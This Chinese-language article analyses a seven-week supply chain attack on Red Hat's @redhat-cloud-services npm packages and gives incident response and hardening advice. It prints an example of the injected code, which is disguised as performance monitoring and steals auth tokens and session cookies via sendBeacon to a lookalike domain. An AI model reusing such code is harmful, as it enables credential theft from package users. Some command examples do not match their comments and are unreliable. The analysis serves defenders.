Miasma供应链攻击事件:Red Hat官方npm命名空间被渗透,7周凭据泄露链深度解析
2026年6月1日,Wiz安全研究人员发现了一场持续7周的供应链攻击。攻击者渗透了Red Hat官方npm命名空间
@redhat-cloud-services下的32个包,这些包是Red Hat混合云控制台的核心前端组件。这不是一个漏洞,而是一条完整的凭据泄露链。

事件发现与影响范围
2026年6月1日,云安全公司Wiz的研究团队在例行供应链监控中发现了异常。Red Hat官方npm命名空间@redhat-cloud-services下的32个包存在可疑的代码变更。进一步分析确认,这些包在长达7周的时间里被攻击者持续渗透。
@redhat-cloud-services命名空间不是一个边缘库——它是Red Hat混合云控制台(Hybrid Cloud Console)的前端组件和API客户端集合。Red Hat混合云控制台是全球数万企业用于管理OpenShift集群、RHEL系统和云服务的核心管理平台。
受影响的32个包涵盖了混合云控制台的多个功能模块:
| 功能模块 | 受影响包数 | 功能描述 | 影响等级 |
|---|---|---|---|
| 身份认证 | 5 | SSO集成、令牌管理 | 严重 |
| 系统管理 | 8 | RHEL系统注册、配置管理 | 高 |
| 监控告警 | 6 | 集群健康监控、告警路由 | 高 |
| API客户端 | 9 | REST API封装、数据序列化 | 中 |
| 前端组件 | 4 | UI组件库、主题配置 | 低 |
七周凭据泄露链:攻击路径还原
这场攻击最引人注目的特征不是技术复杂度,而是时间跨度。攻击者用了整整7周时间建立了一条完整的凭据泄露链,从最初的立足点到最终的核心系统渗透。
第1-2周:初始访问
攻击者通过社会工程手段获取了一个拥有@redhat-cloud-services命名空间发布权限的维护者npm令牌。这个令牌可能来自被泄露的.npmrc文件或被钓鱼获取。
第3-4周:侦察与测试 攻击者没有立即注入恶意代码,而是先对包的依赖关系图和使用者进行了详细侦察。他们修改了几个低流量包的元数据,测试了npm的发布流程和检测机制。
第5-6周:逐步渗透 攻击者开始在代码中注入隐蔽的数据收集逻辑。这些代码伪装成合法的错误上报和性能监控功能,实际上在收集使用者的环境信息和认证令牌。
// 伪装成合法的性能监控代码
// 实际上在收集认证信息
const collectMetrics = (config) => {
// 看似正常的性能数据收集
const perfData = {
loadTime: performance.now(),
userAgent: navigator.userAgent,
// 恶意:收集认证令牌
authToken: localStorage.getItem('cs_jwt') || '',
sessionToken: document.cookie.match(/cs_session=([^;]+)/)?.[1] || '',
// 恶意:收集环境配置
apiEndpoint: config?.apiBase || window.__REDHAT_CONFIG__?.apiBase
};
// 外泄到伪装的分析服务
navigator.sendBeacon('https://analytics.redhat-cloud[.]services/metrics',
JSON.stringify(perfData));
};
第7周:收割 在积累了足够的受害者数据后,攻击者开始批量收集和外泄凭据。Wiz研究人员在这个阶段发现了异常流量模式并介入调查。
Red Hat混合云控制台的安全影响
Red Hat混合云控制台是企业级IT基础设施的神经中枢。其被渗透的影响远超一般npm包投毒事件。
首先,混合云控制台通常拥有对OpenShift集群和RHEL系统的高权限访问。通过窃取控制台的认证令牌,攻击者可能获得对企业整个Red Hat基础设施的管理权限。
其次,混合云控制台是集中式管理平台,一个被泄露的管理员令牌可能影响数百甚至数千个受管节点。这使得供应链攻击的"杠杆效应"被极度放大。
最后,Red Hat的企业用户多为金融、电信、政府等关键行业。这些行业对安全事件的容忍度极低,一次供应链渗透可能触发严重的合规和法律后果。
| 影响维度 | 具体风险 | 严重程度 |
|---|---|---|
| 集群管理 | OpenShift集群被未授权访问 | 严重 |
| 系统管理 | RHEL系统配置被篡改 | 严重 |
| 凭据泄露 | API密钥、证书被窃取 | 高 |
| 数据访问 | 监控数据、日志数据被外泄 | 高 |
| 合规风险 | GDPR、SOC2等合规审计受影响 | 中 |
供应链凭据管理的系统性缺陷
Miasma事件暴露的不仅仅是一个维护者令牌被泄露的问题,而是整个npm供应链凭据管理体系的系统性缺陷。
npm令牌管理的脆弱性:npm的发布令牌是"全有或全无"的——一个令牌可以发布命名空间下的所有包。没有细粒度的权限控制,没有发布审批流程,没有令牌轮换机制。
# 检查当前npm令牌的权限范围
npm token list
# 创建具有限制性权限的令牌(npm 9+支持)
npm token create --type=granular --cidr=10.0.0.0/8
# 设置令牌过期时间(默认不过期)
npm config set //registry.npmjs.org/:_authToken ${TOKEN}
# 定期轮换令牌
npm token revoke <token-id>
缺乏发布审计链:npm没有内置的发布审计机制。包的变更历史只能通过npm diff命令查看,没有签名验证、没有发布者身份确认、没有变更审批流程。
CI/CD凭据暴露:大量项目将npm令牌存储在CI/CD环境变量中。GitHub Actions、GitLab CI等平台的凭据管理虽然有加密机制,但配置错误和过度授权的问题普遍存在。
# GitHub Actions中的安全凭据管理
# 不要这样做:
- run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} # 令牌暴露在所有job中
# 应该这样做:
- name: Publish to npm
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
run: npm publish --provenance
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
permissions:
id-token: write # 支持Sigstore签名
contents: read
企业级供应链安全加固方案
面对Miasma级别的供应链攻击,企业需要建立从源头到运行时的全链路安全体系。
第一层:源头验证
# 使用npm provenance验证包的构建来源
npm install @redhat-cloud-services/frontend-components --verify-provenance
# 使用Sigstore验证包签名
npm audit signatures
# 检查包的发布历史
npm view @redhat-cloud-services/config versions --json
npm view @redhat-cloud-services/config time --json
第二层:构建时扫描
# 使用Socket.dev进行深度供应链扫描
npx socket create --owner=your-org
socket scan --dir ./node_modules --report=json
# 检查包的行为特征
socket diff --before=package-lock-old.json --after=package-lock-new.json
# 使用Snyk进行依赖漏洞扫描
snyk test --all-projects --severity-threshold=high
第三层:运行时防护
# 运行时异常行为检测脚本
import psutil
import socket
import json
ALLOWED_DOMAINS = {
'registry.npmjs.org', 'api.redhat.com',
'console.redhat.com', 'sso.redhat.com'
}
def check_network_connections():
"""检测npm包的异常网络连接"""
for conn in psutil.net_connections():
if conn.status == 'ESTABLISHED':
try:
hostname = socket.gethostbyaddr(conn.raddr.ip)[0]
if hostname not in ALLOWED_DOMAINS:
alert = {
'type': 'suspicious_connection',
'pid': conn.pid,
'remote': f'{hostname}:{conn.raddr.port}',
'process': psutil.Process(conn.pid).name()
}
print(f"ALERT: {json.dumps(alert)}")
except (socket.herror, OSError):
pass
对Red Hat生态用户的具体建议
针对使用Red Hat混合云控制台和相关npm包的企业,以下是具体的应急响应建议:
立即审计:检查项目中是否使用了受影响版本的
@redhat-cloud-services包。使用npm ls @redhat-cloud-services或grep -r "@redhat-cloud-services" package*.json进行排查。版本更新:将所有
@redhat-cloud-services相关包更新到Red Hat发布的安全版本。注意不要使用^或~前缀,确保精确版本锁定。凭据轮换:假设所有在混合云控制台中使用的凭据都已泄露。包括API密钥、OAuth令牌、服务账户密码等。
会话失效:强制所有用户重新认证,撤销现有会话令牌。
审计日志:审查过去7周的混合云控制台操作日志,重点关注异常的管理操作和数据访问。
网络监控:加强与Red Hat云服务相关的网络流量监控,检测异常的外联行为。
供应链安全的范式转变
Miasma事件标志着供应链攻击进入了一个新阶段——从针对开源社区的"机会主义攻击"转向针对企业级基础设施的"定向渗透"。
这种转变要求安全行业重新思考供应链安全的基本假设。过去我们假设"知名供应商的官方包是可信的"——Miasma事件证明这个假设是错误的。未来,每一个包、每一次更新都需要经过独立验证。
Red Hat的响应速度和透明度值得肯定,但这次事件也暴露了企业级开源供应链管理的深层问题。当攻击者愿意投入7周时间进行耐心渗透时,传统的安全检查机制几乎是无效的。只有建立从构建到运行时的全链路信任体系,才能应对这种高级别的供应链威胁。
数据来源:
- CybelAngel: "Miasma Supply Chain Attack: the Seven-Week Credential Trail"
- Wiz Research: 供应链安全研究(2026年6月)
- Red Hat安全公告(2026年6月)
- npm官方安全响应报告
- Medium: "The Invisible Enemy: Inside the 2026 Supply Chain Attack"
评论